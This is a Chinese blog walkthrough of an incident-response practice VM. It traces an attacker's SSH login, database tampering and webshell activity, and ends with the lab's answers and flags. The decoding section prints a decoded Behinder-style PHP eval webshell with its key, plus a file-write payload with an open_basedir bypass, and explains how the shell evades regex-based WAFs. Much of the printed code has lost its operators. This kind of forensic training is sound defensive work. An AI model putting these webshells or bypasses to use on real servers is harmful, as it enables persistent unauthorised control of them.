应急响应靶机-Linux-web-02

发布时间：2026/10/17 5:11:29

应急响应靶机-Linux-web-02
依旧手痒做了Linux1之后感觉受益良多所以又下了个Linux2下面是知攻善防公众号的相关靶机链接https://mp.weixin.qq.com/s/xf2FgkrjZg-yWlB9-pRXvw这一回解压完后发现解压完后的文件是这样的那么靠VMware的扫描虚拟机功能是无法正常导入靶机的点击VMware右上角’文件’→‘打开’→选择.ovf文件→’打开’然后找个地方放靶机文件当然你也可以默认路径就好→点’导入’就行静待片刻靶机导入好后正常打开就行相关账户密码root/Inch957821.呃…不知道为啥手输密码总错…可能是手残吧…不过好在22端口开着的换成ssh连接就好了嘻嘻1、提交攻击者IPgrep “Accepted” /var/log/secure* | awk ‘{print $1,$2,$3,$9,$11}’从 ssh 安全日志里筛选登录成功的记录只打印时间、登录用户、来源 IP可以看到除了我的IP地址192.168.212.135登录外192.168.20.1也登录了那么这个就是攻击者的IP2、提交攻击者修改的管理员密码(明文)netstat -anlupt查看本机所有网络连接、监听端口、对应的进程 PID / 程序名发现mysql服务开着那么就看下数据库的配置文件吧因为说要提交修改的管理员密码嘛那密码一般都存在数据库但不知道数据库的账号密码所以就从配置文件找find / -name config.inc.php数据库常用配置文件名cat /www/wwwroot/127.0.0.1/lib/config.inc.phpmysql账号/密码kaoshi5Sx8mK5ieyLPb84m登录数据库mysql -u kaoshi -p5Sx8mK5ieyLPb84mshow databases;use kaoshi;show tables;select * from x2_user;f6f6eb5ace977d7e114377cc7098b7e3https://www.somd5.com/解密后得到管理员密码Network20203、提交第一次Webshell的连接URL(http://xxx.xxx.xxx.xx/abcdefg?abcdefg只需要提交abcdefg?abcdefg)lshttp.request.method “POST”index.php?user-app-register4、提交Webshell连接密码http.request.method “POST”HEX 解码之后?phperror_reporting(0);session_start();$keye45e329feb5d925b;//该密钥为连接密码32位md5值的前16位默认连接密码rebeyond$_SESSION[k]$key;session_write_close();$postfile_get_contents(php://input);if(!extension_loaded(openssl)){$tbase64_.decode;$post$t($post.);for($i0;$istrlen($post);$i){$post[$i]$post[$i]^$key[$i115];}}else{$postopenssl_decrypt($post,AES128,$key);}$arrexplode(|,$post);$func$arr[0];$params$arr[1];classC{publicfunction__invoke($p){eval($p.);}}call_user_func(newC(),$params);?后面看了几个包发现只要是通过index.php?user‑app‑register路径去执行的操作POST请求包就会有Network2020这个key后面跟要执行的东西也就说webshell的连接密码为Network20205、提交数据包的flag1http.request.method “GET”也可以通过关键字flag 去找flag1{Network_2020_Hack}6、提交攻击者使用的后续上传的木马文件名称http.request.method “POST”这有个妙点你直接复制value值是是没办法解码的需要去掉前两个垃圾字节才解得出来文章后面再细嗦解码后就是第一个webshell的名称和所在路径/www/wwwroot/127.0.0.1/shell.php这里可以明显看到后面就不是路径/index.php?user-app-register访问了而是通过/version2.php 访问那么确定后续上传的木马文件为version2.php补充后续上传的PHP马是直接丢在网站根目录下的访问路径是/version2.php典型web层面的文件持久化后门哪怕漏洞被修复了原shell.php被删除只要version2.php没被发现删除攻击者就还是随时都能访问、控制该服务器。7、提交攻击者隐藏的flag2history看下历史命令看到改了mpnotify.php和alinotify.php最后在alinotify.php看到了flag2flag{bL5Frin6JVwVw7tJBdqXlHCMVpAenXI9In9}/www/wwwroot/127.0.0.1/api8、提交攻击者隐藏的flag3依旧history往下翻点就能看到flag{5LourqoFt5d2zyOVUoVPJbOmeVmoKgcy6OZ}细嗦部分这个包直接点开来看你只能看到一部分得从HTTP流才能看全红框框起来的才是完整的这里面包含了 URL 编码、十六进制 HEX 编码、Base64 多层混淆,所以你直接放到那些在线解码网站解出来的是乱码下面是分隔好的样子分成三段对应着三种解密方式Network2020ini_set(display_errors,0);set_time_limit(0);$opdirini_get(open_basedir);if($opdir){$ocwddirname($_SERVER[SCRIPT_FILENAME]);$oparrpreg_split(base64_decode(Lzt8Oi8),$opdir);array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparras$item){if(!is_writable($item)){continue;};$tmdir$item./.c81ba5eafdcd;mkdir($tmdir);if(!file_exists($tmdir)){continue;}$tmdirrealpath($tmdir);chdir($tmdir);ini_set(open_basedir,..);$cntarrpreg_split(/\\\\|\//,$tmdir);for($i0;$isizeof($cntarr);$i){chdir(..);};ini_set(open_basedir,/);rmdir($tmdir);break;};};;functionasenc($out){return$out;};functionasoutput(){$outputob_get_contents();ob_end_clean();echo216e1d.ba405f;echoasenc($output);echocfe83.bf68e;}ob_start();try{$fbase64_decode(substr($_POST[x0b6b31b98f31d],2));$c$_POST[fd656d3495adda];$cstr_replace(\r,,$c);$cstr_replace(\n,,$c);$buf;for($i0;$istrlen($c);$i2)$buf.urldecode(%.substr($c,$i,2));echo(fwrite(fopen($f,a),$buf)?1:0);;}catch(Exception$e){echoERROR://.$e-getMessage();};asoutput();die();fd656d3495adda3C3F7068700A406572726F725F7265706F7274696E672830293B0A73657373696F6E5F737461727428293B0A20202020246B65793D2265343565333239666562356439323562223B202F2FE8AFA5E5AF86E992A5E4B8BAE8BF9EE68EA5E5AF86E7A0813332E4BD8D6D6435E580BCE79A84E5898D3136E4BD8DEFBC8CE9BB98E8AEA4E8BF9EE68EA5E5AF86E7A08172656265796F6E640A09245F53455353494F4E5B276B275D3D246B65793B0A0973657373696F6E5F77726974655F636C6F736528293B0A0924706F73743D66696C655F6765745F636F6E74656E747328227068703A2F2F696E70757422293B0A0969662821657874656E73696F6E5F6C6F6164656428276F70656E73736C2729290A097B0A090924743D226261736536345F222E226465636F6465223B0A090924706F73743D24742824706F73742E2222293B0A09090A0909666F722824693D303B24693C7374726C656E2824706F7374293B24692B2B29207B0A202020200909092024706F73745B24695D203D2024706F73745B24695D5E246B65795B24692B312631355D3B200A202020200909097D0A097D0A09656C73650A097B0A090924706F73743D6F70656E73736C5F646563727970742824706F73742C2022414553313238222C20246B6579293B0A097D0A20202020246172723D6578706C6F646528277C272C24706F7374293B0A202020202466756E633D246172725B305D3B0A2020202024706172616D733D246172725B315D3B0A09636C61737320437B7075626C69632066756E6374696F6E205F5F696E766F6B6528247029207B6576616C2824702E2222293B7D7D0A202020204063616C6C5F757365725F66756E63286E6577204328292C24706172616D73293B0A3F3E0Ax0b6b31b98f31dg2L3d3dy93d3dyb290LzEyNy4wLjAuMS9zaGVsbC5waHA第一段 URL解码Network2020ini_set(display_errors,0);set_time_limit(0);$opdirini_get(open_basedir);if($opdir){$ocwddirname($_SERVER[SCRIPT_FILENAME]);$oparrpreg_split(base64_decode(Lzt8Oi8),$opdir);array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparras$item){if(!is_writable($item)){continue;};$tmdir$item./.c81ba5eafdcd;mkdir($tmdir);if(!file_exists($tmdir)){continue;}$tmdirrealpath($tmdir);chdir($tmdir);ini_set(open_basedir,..);$cntarrpreg_split(/\\\\|\//,$tmdir);for($i0;$isizeof($cntarr);$i){chdir(..);};ini_set(open_basedir,/);rmdir($tmdir);break;};};functionasenc($out){return$out;};functionasoutput(){$outputob_get_contents();ob_end_clean();echo216e1d.ba405f;echoasenc($output);echocfe83.bf68e;}ob_start();try{$fbase64_decode(substr($_POST[x0b6b31b98f31d],2));$c$_POST[fd656d3495adda];$cstr_replace(\r,,$c);$cstr_replace(\n,,$c);$buf;for($i0;$istrlen($c);$i2)$buf.urldecode(%.substr($c,$i,2));echo(fwrite(fopen($f,a),$buf)?1:0);}catch(Exception$e){echoERROR://.$e-getMessage();};asoutput();die();第二段 Hex解码?phperror_reporting(0);session_start();$keye45e329feb5d925b;//该密钥为连接密码32位md5值的前16位默认连接密码rebeyond$_SESSION[k]$key;session_write_close();$postfile_get_contents(php://input);if(!extension_loaded(openssl)){$tbase64_.decode;$post$t($post.);for($i0;$istrlen($post);$i){$post[$i]$post[$i]^$key[$i115];}}else{$postopenssl_decrypt($post,AES128,$key);}$arrexplode(|,$post);$func$arr[0];$params$arr[1];classC{publicfunction__invoke($p){eval($p.);}}call_user_func(newC(),$params);?第三段g2L3d3dy93d3dyb290LzEyNy4wLjAuMS9zaGVsbC5waHA先执行把前两个无用字符切掉substr($_POST[x0b6b31b98f31d],2)得到L3d3dy93d3dyb290LzEyNy4wLjAuMS9zaGVsbC5waHA然后Base64 解码/www/wwwroot/127.0.0.1/shell.php这个 WebShell 是典型针对仅做原始报文正则匹配 WAF 的绕过样本当然如果WAF 具备语法解析、污点追踪能力能够模拟代码执行链路追踪用户可控参数经过 substr 截取、base64_decode 解码后流向文件写入函数则该绕过手段将会失效。1提交攻击者IP192.168.20.12提交攻击者修改的管理员密码(明文)Network20203提交第一次Webshell的连接URL(http://xxx.xxx.xxx.xx/abcdefg?abcdefg只需要提交abcdefg?abcdefg)index.php?user-app-register4提交Webshell连接密码Network20205提交数据包的flag1flag1{Network_2020_Hack}6提交攻击者使用的后续上传的木马文件名称version2.php7提交攻击者隐藏的flag2flag{bL5Frin6JVwVw7tJBdqXlHCMVpAenXI9In9}8提交攻击者隐藏的flag3flag{5LourqoFt5d2zyOVUoVPJbOmeVmoKgcy6OZ}OK大功告成

相关新闻

声卡驱动安装失败怎么办？电脑没声音用软领驱动大师按流程排查恢复

声卡驱动安装失败怎么办？电脑没声音用软领驱动大师按流程排查恢复

文章目录声卡驱动装不上、电脑没声音，先别急着认定声卡坏了先区分声音图标、播放设备和声卡驱动用「软领驱动大师」处理声音异常具体处理步骤一、检查系统兼容性二、使用管理员权限安装三、暂时关闭杀毒软件四、清理旧版驱动五、用驱动管理工具复查驱动状态六、更新…

2026/10/16 22:12:25 阅读更多 →
Element UI el-select filter-method 自定义搜索：多字段、拼音与性能优化实战

Element UI el-select filter-method 自定义搜索：多字段、拼音与性能优化实战

1. 项目概述：当默认搜索不够用在后台管理系统里，下拉选择框（Select）绝对是高频组件。Element UI 的el-select配合filterable属性，开箱即用的远程搜索或者本地过滤，应付大部分场景绰绰有余。但总有那么些“特…

2026/10/17 5:15:05 阅读更多 →
Android事件模拟与注入：从input命令到无障碍服务的自动化实战

Android事件模拟与注入：从input命令到无障碍服务的自动化实战

1. 项目概述：Android事件模拟与注入的深度探索在Android应用开发与测试的日常工作中，我们经常会遇到一些需要自动化操作或模拟用户交互的场景。比如，你想做一个自动化的测试脚本，让它在凌晨三点自动帮你签到领积分；或者…

2026/10/17 5:15:08 阅读更多 →

最新新闻

Java随机数安全：从Random到SecureRandom实战指南

Java随机数安全：从Random到SecureRandom实战指南

有段时间没写 Java 安全相关的话题了。前阵子帮一个团队做代码走查，发现线上生成优惠券兑换码的地方还在用new Random().nextLong()。我当时就说，这个代码不出事是运气好，出事的概率其实一直挂在审计面前。方案改为SecureRandom后&#xff0c…

2026/10/17 14:27:13 阅读更多 →
流式翻译延迟控制与分段策略：OpenClaw实战解析

流式翻译延迟控制与分段策略：OpenClaw实战解析

做实时字幕和会议同传的同学，应该都体会过那种难受：说话人嘴都快闭上了，翻译结果才慢悠悠弹出来。更尴尬的是，弹出来的还是一句缺头少尾的“半成品”，用户当场就会质疑这东西到底能不能用。我接触 OpenClaw 之前&#…

2026/10/17 14:27:13 阅读更多 →
基于YOLOv26的棉纺车间烟雾火焰检测系统实战

基于YOLOv26的棉纺车间烟雾火焰检测系统实战

棉纺车间的防火难题，我做工业视觉检测这块三年多了，接触过不少纺织客户，真正让我决定认真做一个专门针对棉花场景的烟雾火焰检测系统的，是一次去某棉纺厂的实地调研。车间里全是飘飞的棉尘和短绒，稍微有点火星就顺着滤…

2026/10/17 14:27:13 阅读更多 →
CT三维图像分类实战：Keras 3D CNN全流程解析

CT三维图像分类实战：Keras 3D CNN全流程解析

1. 项目初步认知与整体方案选择1.1 CT扫描3D图像分类到底在解决什么问题CT扫描和普通照片有一个本质区别：照片是二维的，而CT本质上是一组沿着人体纵轴连续切片堆叠起来的三维体数据。每一层切片都是人体某一层面的灰度图像，层与层之间还有固定…

2026/10/17 14:27:13 阅读更多 →
大数据采集与处理知识骨架：从源头到应用的工程逻辑

大数据采集与处理知识骨架：从源头到应用的工程逻辑

1. 这不是“背题指南”，而是一套可复用的大数据采集与处理知识骨架“大数据采集与处理期末复习题”——看到这个标题，很多同学第一反应是翻出往年卷子、划重点、狂背MapReduce的shuffle阶段流程图。但我在连续三年带某高校《大数据技术基础》实验课、参与…

2026/10/17 14:27:13 阅读更多 →
西门子S7-1200四轴步进同步控制实战：从PTO配置到微秒级同步

西门子S7-1200四轴步进同步控制实战：从PTO配置到微秒级同步

简介：本资源是一套基于西门子S7-1200 PLC的工业级脉冲定位控制工程实例，面向自动化工程师、PLC初学者及机电一体化专业学习者，聚焦多轴步进电机协同控制这一典型产线需求。内容完整覆盖四台步进电机的独立启停、速度调节与脉冲精确定位&#…

2026/10/17 14:26:12 阅读更多 →

日新闻

DeepSeek选型与部署：V3/R1、Ollama、API全攻略

DeepSeek选型与部署：V3/R1、Ollama、API全攻略

简介：《DeepSeek使用方法.pdf》是一份面向DeepSeek入门及进阶用户的完整使用指南，重点围绕V3与R1两款模型的能力差异与适用场景展开，帮助读者根据任务类型与成本选择合适的模型。资源共1个PDF文件，压缩包大小约311KB，篇…

2026/10/17 0:00:25 阅读更多 →
200+Deepseek润色指令拆解：从底层原理到场景落地的完整指南

200+Deepseek润色指令拆解：从底层原理到场景落地的完整指南

简介：这是一份聚焦DeepSeek提示词优化的《200Deepseek润色指令》PDF文档，共收录两百余条可直接套用的润色指令，涵盖语法修正、风格统一、逻辑梳理、表达精炼等维度，并针对商务写作、学术论文、广告文案等场景给出差异化建议。文档…

2026/10/17 0:00:25 阅读更多 →
OpenCV轮廓法物体计数系统：轻量、可控、可落地的工业级实现

OpenCV轮廓法物体计数系统：轻量、可控、可落地的工业级实现

简介：本资源是一份基于OpenCV的本科课程设计完整报告，面向计算机视觉初学者、图像处理学习者及高校通信/信息类专业学生，解决物体智能计数与检测结果结构化记录的实际问题。项目覆盖图像预处理、轮廓检测、边界框绘制、轨迹栏交互式参数调节、…

2026/10/17 0:00:25 阅读更多 →

周新闻

流感时间序列预测实战：ARIMA/LSTM全流程拆解与避坑指南

流感时间序列预测实战：ARIMA/LSTM全流程拆解与避坑指南

简介：基于 ARIMA、LSTM、Transformer 等模型的流感时间序列预测 Python 源码，面向计算机相关专业课程设计与期末大作业学生，以及项目实战学习者。内容覆盖预处理、平稳性检验、定阶、残差分析、多模型对比预测的完整时序建模流程，…

2026/10/16 21:35:51 阅读更多 →
影刀RPA新手教程：键盘模拟输入实战——输入文本与模拟按键的区别

影刀RPA新手教程：键盘模拟输入实战——输入文本与模拟按键的区别

影刀RPA新手教程：键盘模拟输入实战——输入文本与模拟按键的区别 做影刀RPA自动化，十个新手有八个栽在"往输入框里填东西"这件事上：要么填不进去，要么填了一半，要么直接把原来内容追加在后面。这背后的根因&…

2026/10/17 1:44:59 阅读更多 →
影刀RPA新手教程：阅文起点小说数据采集实战——书籍信息与章节内容

影刀RPA新手教程：阅文起点小说数据采集实战——书籍信息与章节内容

影刀RPA新手教程：阅文起点小说数据采集实战——书籍信息与章节内容 1. 认识影刀：什么场景该用RPA采小说数据 起点中文网的页面结构相对稳定——分类榜单、书籍详情、章节内容三块独立页面，跳转链路清晰。这种场景非常适合影刀自动化&#x…

2026/10/16 15:04:24 阅读更多 →

月新闻

我发现了一个新思路：用 Remotion + Claude Code 像写代码一样自动化生成短视频

我发现了一个新思路：用 Remotion + Claude Code 像写代码一样自动化生成短视频

/* MD / 富文本中的 .toc（含博客园搬家等嵌套结构）；.toc-box 在侧栏，不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p（:empty 仍占 20px），一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/16 21:54:38 阅读更多 →
Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式：TaoToken 统一 Key 配置与验证

Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式：TaoToken 统一 Key 配置与验证

/* MD / 富文本中的 .toc（含博客园搬家等嵌套结构）；.toc-box 在侧栏，不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p（:empty 仍占 20px），一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/16 3:49:43 阅读更多 →
黑夜航拍船只数据集训练YOLOV5模型全流程解析

黑夜航拍船只数据集训练YOLOV5模型全流程解析

/* MD / 富文本中的 .toc（含博客园搬家等嵌套结构）；.toc-box 在侧栏，不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p（:empty 仍占 20px），一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/16 14:23:36 阅读更多 →